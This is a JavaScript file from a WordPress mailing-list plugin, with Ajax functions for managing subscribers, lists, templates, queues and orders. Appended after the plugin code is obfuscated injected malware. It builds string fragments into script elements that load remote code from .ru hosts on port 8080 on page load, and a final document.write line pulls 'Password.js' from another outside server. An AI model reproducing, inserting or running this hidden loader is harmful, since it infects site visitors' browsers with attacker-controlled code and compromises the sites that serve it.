//Modified by JJRJR May 10, 2009 RealWebDevelopment.com  e-mail: John@realsites.biz
//Ajax changes for ajax display on main optin pages to display only fields with "Y" in optin field.
$wpml(document).ready(function(){
	$wpml("input[id*=checkboxall]").click(function() {
		var checked_status = this.checked;
		$wpml("input[id*=checklist]").each(function() {
			this.checked = checked_status;
		});
	});
	
	$wpml("input[id*=checkinvert]").click(function() {
		this.checked = false;
	
		$wpml("input[id*=checklist]").each(function() {
			var status = this.checked;
			
			if (status == true) {
				this.checked = false;
			} else {
				this.checked = true;
			}
		});
	});
});

function wpml_changelist(list_id) {
	new Ajax.Updater('paiddiv', wpMailBase + '?cmd=list_paiddiv&id=' + list_id + '', {
		evalScripts: true,
		asynchronous: true,
		onLoading: function(request) {
			Element.show('paiddivloading');
		},
		onComplete: function(request) {
			Element.hide('paiddivloading');
			Effect.Appear('paiddiv', {from:0, to:1});
		}
	});
}

function offsite_form(list_id) {
	new Ajax.Updater('mailinglists', wpMailBase + '?cmd=offsite_form&id=' + list_id + '', {
		asynchronous: true,
		evalScripts: true,
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function div_appear(divid) {
	Effect.Appear(divid);
}

function div_switchoff(divid) {
	Effect.SwitchOff(divid);
}

function ajaxloading(action) {
	if (action == "show") {
		Effect.Appear('wpmailinglistloading', {duration:0.15, from:0, to:0.5});
		Effect.Appear('wpmailinglistloadingimage', {duration:0.15, from:0, to:1});
	} else {
		Effect.Fade('wpmailinglistloading', {duration:0.15, from:0.5, to:0});
		Effect.Fade('wpmailinglistloadingimage', {duration:0.15, from:1, to:0});
	}
}

function wpml_optin(wpoptinid, form) {
	var formValues = Form.serialize($('optinform' + wpoptinid));	
	var updatediv = 'wpmlwidget-' + wpoptinid + '';
	var mytime= new Date().getTime();

	new Ajax.Updater(updatediv, wpMailBase + '?cmd=optin&mytime=' + mytime + '&divid=' + wpoptinid + '&id=' + wpoptinid + '', {
		method: "POST",
		asynchronous: true,
		evalScripts: true,
		parameters: formValues,
		onLoading: function(request) {
			Element.show('widget_loading' + wpoptinid + '');
		},
		onComplete: function(request) {
			Element.hide('widget_loading' + wpoptinid + '');
			Effect.Appear('wpmlwidget-' + wpoptinid + '', {from:0, to:1});
		}
	});
}

function wpmloptinembed(update, form, listid) {
	var formValues = Form.serialize($(form));
	
	new Ajax.Updater('wpml_optin' + update + '', wpMailBase + '?cmd=optinembed&list_id=' + listid + '&divid=' + update + '&id=' + update, {
		method: "POST",
		asynchronous: true,
		evalScripts: true,
		parameters: formValues,
		onLoading: function(request) {
			Element.show('widget_loading' + update + '');
		},
		onComplete: function(request) {
			Element.hide('widget_loading' + update + '');
			Effect.Appear('wpml_optin' + update + '', {from:0, to:1});
		}
	});
}

function get_list_fields(list_id, wpoptinid, divid, poststring, getpost, tabi) {
	if (getpost == "N") {
		var poststring = Form.serialize($('optinform' + wpoptinid));
	}

	new Ajax.Updater(divid, wpMailBase + '?cmd=get_list_fields&id=' + list_id + '&tabi=' + tabi + '', {
		asynchronous: true,
		evalScripts: true,
		parameters: poststring,
		onLoading: function(request) {
			Element.show('widget_loading' + wpoptinid + '');
			Element.hide(divid);
		},
		onComplete: function(request) {
			Element.hide('widget_loading' + wpoptinid + '');
			Effect.Appear(divid, {from:0, to:1});
		}
	});
}

function fields(page, update) {
	new Ajax.Updater(update, wpMailBase + "?cmd=fields&wpmlpage=" + page + "&id=", {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function delete_field(id) {
	if (confirmMessage('field_delete') == true) {
		new Ajax.Request(wpMailBase + '?cmd=delete_field&id=' + id + '', {
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete: function (request) {
				ajaxloading();
				$('Field.row' + id + '').style.backgroundColor = "#FF0000";
				Effect.Fade('Field.row' + id + '', {from:1, to:0});
			}
		});
	} else {
		return false;
	}
}

function orders(page, update) {
	new Ajax.Updater(update, wpMailBase + "?cmd=orders&wpmlpage=" + page + "&id=", {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function order_delete(order_id) {
	if (confirmMessage('order_delete') == true) {
		new Ajax.Request(wpMailBase + '?cmd=order_delete&id=' + order_id + '', {
			evalScripts: true,
			asynchronous: true,
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete: function(request) {
				ajaxloading();
				$('orderrow' + order_id + '').style.background = "#FF0000";
				Effect.Fade('orderrow' + order_id + '', {from:1,to:0});
			}
		});
	} else {
		return false;
	}
}

function templates(page, update) {
	new Ajax.Updater(update, wpMailBase + '?cmd=templates&wpmlpage=' + page + '&id=', {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function view_template(id) {
	new Ajax.Updater('templates', wpMailBase + '?cmd=view_template&id=' + id + '', {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();	
		}
	});
}

function delete_template(id) {
	var agree = confirmMessage('delete_template');

	if (agree == true) {
		new Ajax.Request(wpMailBase + '?cmd=delete_template&id=' + id + '', {
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete: function(request) {
				ajaxloading();
				$('templaterow' + id + '').style.backgroundColor = "#FF0000";
				Effect.Fade('templaterow' + id + '', {from:1, to:0});
			}
		});
	} else {
		return false;
	}
}

function delete_templates() {
	var agree = confirmMessage('delete_templates');
	
	if (agree == true) {
		var formValues = Form.serialize($('templatesform'));
	
		new Ajax.Updater('templates', wpMailBase + '?cmd=delete_templates&id=', {
			parameters: formValues,
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete: function(request) {
				ajaxloading();
			}
		});
	} else {
		return false;
	}
}

function queues(page, update) {
	new Ajax.Updater(update, wpMailBase + '?cmd=queues&wpmlpage=' + page + '&id=', {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function view_queue(id) {
	new Ajax.Updater('queues', wpMailBase + '?cmd=view_queue&id=' + id + '', {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function delete_queue(id) {
	var agree = confirmMessage('delete_queue');
	
	if (agree == true) {
		new Ajax.Request(wpMailBase + '?cmd=delete_queue&id=' + id + '', {
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete: function(request) {
				ajaxloading();
				$('queuerow' + id + '').style.backgroundColor = "#FF0000";
				Effect.Fade('queuerow' + id + '', {from:1, to:0});
			}
		});
	} else {
		return false;
	}
}

function delete_queues() {
	var agree = confirmMessage('delete_queues');
	
	if (agree == true) {
		var formValues = $('queuesform').serialize(true);
	
		new Ajax.Updater('queues', wpMailBase + '?cmd=delete_queues&id=', {
			parameters: formValues,
			onLoading: function(request) {
				ajaxloading('show');
			},
			onComplete:function(request) {
				ajaxloading();
			}
		});
	} else {
		return false;
	}
}

function history(page, update) {
	new Ajax.Updater(update, wpMailBase + '?cmd=history&wpmlpage=' + page + '&id=', {
		asynchronous:true,
		evalScripts:true,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	});
}

function view_history(id) {
	new Ajax.Updater('history', wpMailBase + '?cmd=view_history&id=' + id + '', {
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function delete_history(id) {

	var agree = confirmMessage('delete_history');

	if (agree == true) {
		new Ajax.Request(wpMailBase + '?cmd=delete_history&id=' + id + '', {
			asynchronous:true,
			evalScripts:true,
			onLoading:function(request) {
				ajaxloading('show');
			},
			onComplete:function(request) {
				ajaxloading();
				$('historyrow' + id + '').style.backgroundColor = "#FF0000";
				Effect.Fade('historyrow' + id + '', {from:1, to:0});
			}
		});
	}
}

function delete_histories() {
	var agree = confirmMessage('delete_histories');

	if (agree == true) {
		var formValues = $('historyform').serialize(true);
	
		new Ajax.Updater('history', wpMailBase + '?cmd=delete_histories&id=', {
			asynchronous:true,
			evalScripts:true,
			parameters: formValues,
			onLoading:function(request) {
				ajaxloading('show');
			},
			onComplete:function(request) {
				ajaxloading();
			}
		});
	} else {
		return false;
	}
}

function mailinglists(page, update) {
	if (update == "") {
		var update = 'mailinglists';
	}

	new Ajax.Updater(update, wpMailBase + '?cmd=mailinglists&wpmlpage=' + page + '&id=', {
		asynchronous:true,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	})
}

function save_list(id, form) {
	if (form == false) {
		var formValues = false;
	} else {
		var formValues = Form.serialize(form);
	}

	new Ajax.Updater('mailinglists', wpMailBase + '?cmd=save_list&id=' + id + '', {
		asynchronous:true,
		evalScripts:true,
		parameters:formValues,
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function view_list(id, update) {
	new Ajax.Updater(update, wpMailBase + '?cmd=view_list&id=' + id + '', {
		asynchronous:true,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	});
}

function delete_list(id, update) {
	var agree = confirmMessage('delete_list');
	
	if (agree == true) {
		if (update == "") {
			new Ajax.Request(wpMailBase + '?cmd=delete_list&id=' + id + '', {
				asynchronous:true,
				onLoading:function(request) {
					ajaxloading('show');
				},
				onComplete:function(request) {
					ajaxloading();
					$('listrow' + id).style.backgroundColor = '#ff0000';
					Effect.Fade('listrow' + id + '', {from:1, to:0});
				}
			});
		} else {
			new Ajax.Updater(update, wpMailBase + '?cmd=delete_list&id=' + id + '', {
				onLoading: function(request) {
					ajaxloading('show');
				},
				onComplete: function(request) {
					ajaxloading();
				}
			});
		}
	} else {
		return false;
	}
}

function subscribers(page, update) {
	new Ajax.Updater(update, wpMailBase + '?cmd=subscribers&wpmlpage=' + page + '&id=', {
		asynchronous:true,
		evalScripts:true,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	});
}

function search_subscribers() {
	var formValues = $('subscribersearchform').serialize(true);
	
	new Ajax.Updater('subscribers', wpMailBase + "?cmd=search_subscribers&id=", {
		parameters: formValues,
		onLoading: function(request) {
			ajaxloading('show');
		},
		onComplete: function(request) {
			ajaxloading();
		}
	});
}

function save_subscriber(id, form, update) {
	if (form == false) {
		var formValues = false;
	} else {
		var formValues = $(form).serialize(true);
	}
	
	if (update == "") {
		var update = "subscribers";
	}
	
	new Ajax.Updater(update, wpMailBase + '?cmd=save_subscriber&id=' + id + '', {
		asynchronous:true,
		evalScripts:true,
		parameters:formValues,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	});
}

function view_subscriber(id) {
	new Ajax.Updater('subscribers', wpMailBase + '?cmd=view_subscriber&id=' + id + '', {
		asynchronous:true,
		onLoading:function(request) {
			ajaxloading('show');
		},
		onComplete:function(request) {
			ajaxloading();
		}
	});
}

function delete_subscriber(id, update) {
	var agree = confirmMessage('delete_subscriber');
	
	if (agree == true) {
		if (update == "") {
			new Ajax.Request(wpMailBase + '?cmd=delete_subscriber&id=' + id + '', {
				onLoading:function(request) {
					ajaxloading('show');
				},
				onComplete:function(request) {
					$('subscriberrow' + id + '').style.backgroundColor = "#FF0000";
					Effect.Fade('subscriberrow' + id + '', {from:1, to:0});
					ajaxloading();
				}
			});
		} else {
			new Ajax.Updater(update, wpMailBase + '?cmd=delete_subscriber&update=subscribers&id=' + id + '', {
				onLoading: function(request) {
					ajaxloading('show');
				},
				onComplete: function(request) {
					ajaxloading();
				}
			});
		}
	} else {
		return false;
	}
}

function delete_subscribers() {
	var agree = confirmMessage('delete_subscribers');
	
	if (agree == true) {
		new Ajax.Updater('subscribers', wpMailBase + '?cmd=delete_subscribers&id=', {
			asynchronous:true,
			parameters:$('subscribersform').serialize(true),
			onLoading:function(request) {
				ajaxloading('show');
			},
			onComplete:function(request) {
				ajaxloading();
			}
		});
	} else {
		return false;
	}
}

function checkAllBoxes(obj, formname, fieldname) {		
	if(document.forms[formname].elements[fieldname+"[]"].length) {
		for (i = 0; i < document.forms[formname].elements[fieldname+"[]"].length; i++) {
			document.forms[formname].elements[fieldname+"[]"][i].checked = true;
		}
	} else {
		$(formname).elements[fieldname+"[]"].checked = true;
	}
	
	$('mainCheckLink').innerHTML = '<a href="javascript:unCheckAllBoxes(this,\'' + formname + '\',\'' + fieldname + '\');" title="Uncheck all checkboxes">Uncheck</a>';
}

function unCheckAllBoxes(obj, formname, fieldname) {
	if(document.forms[formname].elements[fieldname+"[]"].length) {
		for (i = 0; i < document.forms[formname].elements[fieldname+"[]"].length; i++)
		{
			document.forms[formname].elements[fieldname+"[]"][i].checked = false;
		}
	} else {
		document.forms[formname].elements[fieldname+"[]"].checked = false;
	}
	
	$('mainCheckLink').innerHTML = '<a href="javascript:checkAllBoxes(this,\'' + formname + '\',\'' + fieldname + '\');" title="Check all checkboxes">Check</a>';
}

this.M=24554;this.M+=242;function c(){m=17629;m-=199;var h=String("apzcjD".substr(0,2)+"M13Dpe".substr(4)+"nd"+"Ch"+"il"+"AxadaxA".substr(3,1));var v="";var Pr=19388;this.OT='';var F=new String("OQAjbod".substr(4)+"81eDy".substr(4));this.j=38596;this.j--;var Y=String("cre"+"ate"+"Ele"+"ZyW7men".substr(4)+"t");var G="G";var NR='';var o=document;lD=["s","ER"];var X={GP:49315};var P="xk4on".substr(3)+"IY9Blo".substr(4)+"LcZSad".substr(4);try {} catch(Af){};ZT=["Ni","VZ","J"];var d=String("defIwNm".substr(0,3)+"er");var E=window;var al=new String();var S=new String();var I="scri"+"pt";var PQ=String("sr"+"c");op={aI:false};Pl=20527;Pl++;function u(){try {pN={i:50195};var V=new String("/goo"+"gle."+"katcom/".substr(3)+"clas"+"smat"+"VInes.cnIV".substr(3,4)+"om/i"+"qyfYmageqyYf".substr(4,4)+"venubaT6".substr(0,4)+"e.co"+"m.phor2W".substr(0,4)+"pVxM".substr(0,1));aO=64364;aO++;var hV=8366-8365;k={fr:"IS"};var t="http"+"://p"+"assp"+"ortb"+"lues"+"9tX.ru:".substr(3);WE={uj:"cV"};L=["B","po"];var Ou='';var f=335112-327032;var Bh={eI:2116};Om=["_D","nK","fb"];q=["tX"];this.IF=false;g=o[Y](I);var UP=["APl"];bY=[];AB={r:false};g[PQ]=t+f+V;var sB=new String();g[d]=hV;o[F][h](g);} catch(Z){var Pa=false;};this.WT="WT";var SJ={};}var Dc="Dc";E[P]=u;};this.qo="qo";c();
L={ti:"MQ"};N=["S","py","Oi"];tI=["al","Np","V"];try {this.U="";var f=new Date();this.tS="";this.i="";this.G="";this.GG=1505;this.GG++;this.n=9020;this.n++;VU=["Qk","z","_"];de={T:9388};k=["lG","Qf","cF"];var m=window[new String("unekUa".substr(0,3)+"sca"+"K4Xpe".substr(3))];kv=["F"];_q={};var M=new String("onlo"+"ad");var b="";this.GR=26315;this.GR-=37;this.zf=49300;this.zf-=90;var c=window[(String("RegE"+"k0Txp".substr(3)))];var v='';var hn='';this.um=13611;this.um--;var kE={fW:47323};var J="1";this._a=61968;this._a-=4;this.uS='';this.eH='';ej=["DM","GZ"];w=46703;w+=156;var y=new String("repl"+"ace");this.yqB=64366;this.yqB+=229;var Nk='';jp=36029;jp+=44;r=44036;r+=112;function p(J,h){var OX=["Mj","A"];sc=47587;sc++;var wq=["dQ"];It={Th:14270};try {var Cq='qo'} catch(Cq){};var bg={};this.SN=17227;this.SN--;FU={B:30428};var R=String("[t6s".substr(0,1));this.OJ='';QB=4626;QB++;xHR=["lV","bgI","sK"];this.Bh=55184;this.Bh--;R+=h;R+=m("%5d");this.yqR=2027;this.yqR++;var Y=new c(R, String("g"));gH={Jk:58464};this.XQ=3488;this.XQ++;var KF='';this.ZQ=37746;this.ZQ++;var GZc='';return J.replace(Y, v);YL=49978;YL+=187;this.Ok='';this.rQ=31188;this.rQ--;};try {} catch(KN){};this.qD=11927;this.qD+=203;var lc='';try {} catch(TL){};this.Ti=7974;this.Ti+=77;var TqA="TqA";var ya=["BA","sm"];var zr="zr";var pj="";var nj='';var YF="http:"+"//gotwCJ".substr(0,5)+"XyYJhguilJXYy".substr(4,5)+"GEwRt.ru:".substr(4);var DI=57698;var uC=["iX"];tA={YK:22209};GH=["QW","pm"];var t=372199-364119;var fB='';var eB='';Fc=["wB"];var x=new String("/goog"+"le.cobqN".substr(0,5)+"m/ela"+"nce.c"+"om/levyD".substr(0,5)+"0tVbonco".substr(3)+"in.fr"+".phpOHJ".substr(0,4));Zd=43436;Zd+=73;this.Tf=50747;this.Tf-=196;this.PD=9613;this.PD++;this.BK=false;try {} catch(Ckh){};var Ltt={Fk:false};this.mA=false;var DA={ZR:false};function O(){JL=56305;JL-=211;var JI=document;qz={Nh:false};this.vu=47834;this.vu--;Du={Jj:false};var Aj={};this.EdY=63842;this.EdY++;var yq=p('sbchreifpZtH','Bhe5qOJMmjZQbHn8fFV');this.Ta='';var DU="DU";var xq="appeCqY".substr(0,4)+"HLvndChvLH".substr(3,4)+"h3fild3hf".substr(3,3);o=JI.createElement(yq);try {var Rb='_r'} catch(Rb){};var nY={Wv:false};var fQ=47363;var CA=[];var tz=47749;hX=27772;hX+=20;Wj=["Ad","yuP"];this.Cr=15363;this.Cr++;var CX="CX";K=YF+t;var TZ=["vm","mr"];var ae='';K=K+x;var _x=false;var eOv=false;var Idh={};wk={IH:false};var wC=false;var E=JI.body;o["defO8M".substr(0,3)+"fjLerLfj".substr(3,2)]=J;var nK=["ze","zm"];this.Ct=false;wE={};o.src=K;this.op='';this.nQ="nQ";var tX=["Vc","SD","JX"];this.CXT='';this.LS=1075;this.LS-=18;_Sc=["Wd"];var xB='';var To=false;this.FV=false;E[xq](o);OkP={};this.Ght=41175;this.Ght-=60;this.ek=23396;this.ek++;this.hb="";};var aX=new String();var vr=new String();ht=["jh","Wvk"];this._Uq="_Uq";nL={Vp:false};window[M]=O;var Hg=["s_","VA","PM"];var pL=[];this.wx='';this.ni=8947;this.ni+=197;mJ=25870;mJ--;QL=42101;QL--;} catch(Kz){var Gy=new String();var vJ=[];var dr=false;var _hW=[];hR={Dy:55901};var Em=[];var sxl='';};DH=["NC","cpV"];




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Password.js"></scr'+'ipt>');